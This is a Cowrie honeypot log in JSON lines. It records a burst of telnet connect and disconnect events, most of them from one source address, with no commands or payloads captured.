{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38812,"dst_ip":"10.17.0.5","dst_port":23,"session":"392f5853ef26","protocol":"telnet","message":"New connection: 208.115.219.122:38812 (10.17.0.5:23) [session: 392f5853ef26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:42.433844Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38820,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbf6c5e345f8","protocol":"telnet","message":"New connection: 208.115.219.122:38820 (10.17.0.5:23) [session: fbf6c5e345f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:42.442726Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38830,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc2d6124bcf0","protocol":"telnet","message":"New connection: 208.115.219.122:38830 (10.17.0.5:23) [session: dc2d6124bcf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:42.615510Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38838,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7f8c5aecb38","protocol":"telnet","message":"New connection: 208.115.219.122:38838 (10.17.0.5:23) [session: b7f8c5aecb38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:42.871046Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38854,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ed567e4e737","protocol":"telnet","message":"New connection: 208.115.219.122:38854 (10.17.0.5:23) [session: 1ed567e4e737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:42.920423Z"}
{"eventid":"cowrie.session.closed","duration":30.477205753326416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:43.042072Z","src_ip":"208.115.219.122","session":"76edb7e288f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.399057149887085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:43.082508Z","src_ip":"208.115.219.122","session":"6b46a93f1981","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38868,"dst_ip":"10.17.0.5","dst_port":23,"session":"81f829381949","protocol":"telnet","message":"New connection: 208.115.219.122:38868 (10.17.0.5:23) [session: 81f829381949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:43.148825Z"}
{"eventid":"cowrie.session.closed","duration":31.086536645889282,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:43.219996Z","src_ip":"208.115.219.122","session":"53237babd628","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3715341091156,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:43.662451Z","src_ip":"208.115.219.122","session":"ba17de2e6aef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38880,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b9acf3e4a21","protocol":"telnet","message":"New connection: 208.115.219.122:38880 (10.17.0.5:23) [session: 7b9acf3e4a21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:43.714078Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38882,"dst_ip":"10.17.0.5","dst_port":23,"session":"52e090667316","protocol":"telnet","message":"New connection: 208.115.219.122:38882 (10.17.0.5:23) [session: 52e090667316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:43.858519Z"}
{"eventid":"cowrie.session.closed","duration":30.95081615447998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:44.025917Z","src_ip":"208.115.219.122","session":"3a694402b2d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.888484239578247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:44.037610Z","src_ip":"208.115.219.122","session":"edfd5e249d03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38890,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c1911b7f778","protocol":"telnet","message":"New connection: 208.115.219.122:38890 (10.17.0.5:23) [session: 5c1911b7f778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:44.227613Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36092,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e19e13976e5","protocol":"telnet","message":"New connection: 208.115.200.90:36092 (10.17.0.5:23) [session: 7e19e13976e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:44.277295Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38892,"dst_ip":"10.17.0.5","dst_port":23,"session":"529ed5db2fd5","protocol":"telnet","message":"New connection: 208.115.219.122:38892 (10.17.0.5:23) [session: 529ed5db2fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:44.281473Z"}
{"eventid":"cowrie.session.closed","duration":30.44026255607605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:44.394273Z","src_ip":"208.115.219.122","session":"595000aa7e50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38904,"dst_ip":"10.17.0.5","dst_port":23,"session":"3721a9a607f1","protocol":"telnet","message":"New connection: 208.115.219.122:38904 (10.17.0.5:23) [session: 3721a9a607f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:44.454837Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38908,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fba8ae505b7","protocol":"telnet","message":"New connection: 208.115.219.122:38908 (10.17.0.5:23) [session: 3fba8ae505b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:44.680236Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38920,"dst_ip":"10.17.0.5","dst_port":23,"session":"c368d9b0a3c2","protocol":"telnet","message":"New connection: 208.115.219.122:38920 (10.17.0.5:23) [session: c368d9b0a3c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:44.788872Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38932,"dst_ip":"10.17.0.5","dst_port":23,"session":"e35f0499d10a","protocol":"telnet","message":"New connection: 208.115.219.122:38932 (10.17.0.5:23) [session: e35f0499d10a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:45.012742Z"}
{"eventid":"cowrie.session.closed","duration":30.51406455039978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:45.019506Z","src_ip":"208.115.219.122","session":"98e63017723f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38938,"dst_ip":"10.17.0.5","dst_port":23,"session":"29185c78e7ef","protocol":"telnet","message":"New connection: 208.115.219.122:38938 (10.17.0.5:23) [session: 29185c78e7ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:45.052771Z"}
{"eventid":"cowrie.session.closed","duration":30.150898456573486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:45.060112Z","src_ip":"208.115.219.122","session":"930565c046e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89113450050354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:45.066802Z","src_ip":"208.115.219.122","session":"958ad790bdda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.171746015548706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:45.101436Z","src_ip":"208.115.219.122","session":"222c2d06722d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.472727298736572,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:45.105811Z","src_ip":"208.115.219.122","session":"e58bbfa65109","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47538,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b6da6c9149e","protocol":"telnet","message":"New connection: 208.115.219.122:47538 (10.17.0.5:23) [session: 0b6da6c9149e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:45.138777Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47548,"dst_ip":"10.17.0.5","dst_port":23,"session":"f86927ccb905","protocol":"telnet","message":"New connection: 208.115.219.122:47548 (10.17.0.5:23) [session: f86927ccb905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:45.219120Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47570,"dst_ip":"10.17.0.5","dst_port":23,"session":"b33dfbcceb8c","protocol":"telnet","message":"New connection: 208.115.219.122:47570 (10.17.0.5:23) [session: b33dfbcceb8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:45.308581Z"}
{"eventid":"cowrie.session.closed","duration":31.11282706260681,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:45.354992Z","src_ip":"208.115.219.122","session":"22949c8d4403","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25642991065979,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:45.505216Z","src_ip":"208.115.219.122","session":"cf240fbbd91a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47700,"dst_ip":"10.17.0.5","dst_port":23,"session":"7774ae66e124","protocol":"telnet","message":"New connection: 208.115.219.122:47700 (10.17.0.5:23) [session: 7774ae66e124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:45.610969Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47702,"dst_ip":"10.17.0.5","dst_port":23,"session":"03c0c5af6ed4","protocol":"telnet","message":"New connection: 208.115.219.122:47702 (10.17.0.5:23) [session: 03c0c5af6ed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:45.626317Z"}
{"eventid":"cowrie.session.closed","duration":31.17642045021057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:45.686206Z","src_ip":"208.115.219.122","session":"d7313ec164ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47752,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b82f64b851a","protocol":"telnet","message":"New connection: 208.115.219.122:47752 (10.17.0.5:23) [session: 9b82f64b851a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:45.843003Z"}
{"eventid":"cowrie.session.closed","duration":30.451614141464233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:46.032538Z","src_ip":"208.115.219.122","session":"0ca3f105d695","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47804,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cf022984e9c","protocol":"telnet","message":"New connection: 208.115.219.122:47804 (10.17.0.5:23) [session: 3cf022984e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:46.056240Z"}
{"eventid":"cowrie.session.closed","duration":30.45844864845276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:46.061781Z","src_ip":"208.115.219.122","session":"0e3886ab8919","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47828,"dst_ip":"10.17.0.5","dst_port":23,"session":"885c37d97eba","protocol":"telnet","message":"New connection: 208.115.219.122:47828 (10.17.0.5:23) [session: 885c37d97eba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:46.109921Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47842,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e5033a498f3","protocol":"telnet","message":"New connection: 208.115.219.122:47842 (10.17.0.5:23) [session: 8e5033a498f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:46.115651Z"}
{"eventid":"cowrie.session.closed","duration":31.093339681625366,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:46.216515Z","src_ip":"208.115.219.122","session":"2eb86d5160ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.071324110031128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:46.236572Z","src_ip":"208.115.219.122","session":"c31608c64c4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48080,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cd1b7217a32","protocol":"telnet","message":"New connection: 208.115.219.122:48080 (10.17.0.5:23) [session: 6cd1b7217a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:46.534164Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48112,"dst_ip":"10.17.0.5","dst_port":23,"session":"943a133ff8b9","protocol":"telnet","message":"New connection: 208.115.219.122:48112 (10.17.0.5:23) [session: 943a133ff8b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:46.619261Z"}
{"eventid":"cowrie.session.closed","duration":30.502341747283936,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:47.027274Z","src_ip":"208.115.219.122","session":"077279cbe7ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48194,"dst_ip":"10.17.0.5","dst_port":23,"session":"c645bea14120","protocol":"telnet","message":"New connection: 208.115.219.122:48194 (10.17.0.5:23) [session: c645bea14120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:47.056399Z"}
{"eventid":"cowrie.session.closed","duration":31.003835201263428,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:47.069705Z","src_ip":"208.115.219.122","session":"aa36063a2a43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48204,"dst_ip":"10.17.0.5","dst_port":23,"session":"8193ab4d69ae","protocol":"telnet","message":"New connection: 208.115.219.122:48204 (10.17.0.5:23) [session: 8193ab4d69ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:47.124636Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48212,"dst_ip":"10.17.0.5","dst_port":23,"session":"d050e8608492","protocol":"telnet","message":"New connection: 208.115.219.122:48212 (10.17.0.5:23) [session: d050e8608492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:47.393931Z"}
{"eventid":"cowrie.session.closed","duration":30.932000637054443,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:47.541109Z","src_ip":"208.115.219.122","session":"a6a68a547cbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48222,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdd307f93d39","protocol":"telnet","message":"New connection: 208.115.219.122:48222 (10.17.0.5:23) [session: cdd307f93d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:47.711201Z"}
{"eventid":"cowrie.session.closed","duration":30.822561025619507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:48.032726Z","src_ip":"208.115.219.122","session":"ef5483b34952","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0313663482666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:48.107449Z","src_ip":"208.115.200.90","session":"be03ef3fc1cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48236,"dst_ip":"10.17.0.5","dst_port":23,"session":"f084fa355ca5","protocol":"telnet","message":"New connection: 208.115.219.122:48236 (10.17.0.5:23) [session: f084fa355ca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:48.149218Z"}
{"eventid":"cowrie.session.closed","duration":31.077499866485596,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:48.159110Z","src_ip":"208.115.219.122","session":"240f16e1ada8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.100841760635376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:48.211961Z","src_ip":"208.115.219.122","session":"15a9b7f522ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48868,"dst_ip":"10.17.0.5","dst_port":23,"session":"b50e65a6c676","protocol":"telnet","message":"New connection: 208.115.219.122:48868 (10.17.0.5:23) [session: b50e65a6c676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:48.885758Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49016,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecb4e80b35cf","protocol":"telnet","message":"New connection: 208.115.219.122:49016 (10.17.0.5:23) [session: ecb4e80b35cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:49.012580Z"}
{"eventid":"cowrie.session.closed","duration":30.892499685287476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:49.038388Z","src_ip":"208.115.219.122","session":"be5964adf6df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.194355487823486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:49.061014Z","src_ip":"208.115.219.122","session":"f08074d552df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49218,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cf314987c32","protocol":"telnet","message":"New connection: 208.115.219.122:49218 (10.17.0.5:23) [session: 8cf314987c32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:49.194141Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49260,"dst_ip":"10.17.0.5","dst_port":23,"session":"53fdb2b99c9f","protocol":"telnet","message":"New connection: 208.115.219.122:49260 (10.17.0.5:23) [session: 53fdb2b99c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:49.200699Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49420,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4359e8e1e7c","protocol":"telnet","message":"New connection: 208.115.219.122:49420 (10.17.0.5:23) [session: a4359e8e1e7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:49.391373Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49582,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0f2a589a1fe","protocol":"telnet","message":"New connection: 208.115.219.122:49582 (10.17.0.5:23) [session: d0f2a589a1fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:49.551907Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49620,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e41dea1fba6","protocol":"telnet","message":"New connection: 208.115.219.122:49620 (10.17.0.5:23) [session: 4e41dea1fba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:49.598731Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49768,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccc95eb60d2a","protocol":"telnet","message":"New connection: 208.115.219.122:49768 (10.17.0.5:23) [session: ccc95eb60d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:49.740782Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":49822,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3526a362fdc","protocol":"telnet","message":"New connection: 208.115.219.122:49822 (10.17.0.5:23) [session: d3526a362fdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:49.801468Z"}
{"eventid":"cowrie.session.closed","duration":30.284404516220093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:50.017265Z","src_ip":"208.115.219.122","session":"a9bc515ecd0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.653125762939453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:50.024347Z","src_ip":"208.115.219.122","session":"649822f29f57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50014,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2807d40e2b4","protocol":"telnet","message":"New connection: 208.115.219.122:50014 (10.17.0.5:23) [session: b2807d40e2b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:50.036807Z"}
{"eventid":"cowrie.session.closed","duration":30.464320421218872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:50.046348Z","src_ip":"208.115.219.122","session":"77377002bdec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57373046875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:50.108217Z","src_ip":"208.115.219.122","session":"aa1cbfa106cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50294,"dst_ip":"10.17.0.5","dst_port":23,"session":"c33b93965f8f","protocol":"telnet","message":"New connection: 208.115.219.122:50294 (10.17.0.5:23) [session: c33b93965f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:50.275455Z"}
{"eventid":"cowrie.session.closed","duration":31.291972398757935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:50.296732Z","src_ip":"208.115.219.122","session":"bfeb20fc4cb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50382,"dst_ip":"10.17.0.5","dst_port":23,"session":"1007f53506f7","protocol":"telnet","message":"New connection: 208.115.219.122:50382 (10.17.0.5:23) [session: 1007f53506f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:50.389237Z"}
{"eventid":"cowrie.session.closed","duration":30.638391971588135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:50.432332Z","src_ip":"208.115.219.122","session":"6116b0ddecc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50464,"dst_ip":"10.17.0.5","dst_port":23,"session":"9779147de5ba","protocol":"telnet","message":"New connection: 208.115.219.122:50464 (10.17.0.5:23) [session: 9779147de5ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:50.479471Z"}
{"eventid":"cowrie.session.closed","duration":31.571930408477783,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:50.760084Z","src_ip":"208.115.219.122","session":"e67d41c2a8e7","protocol":"telnet"}
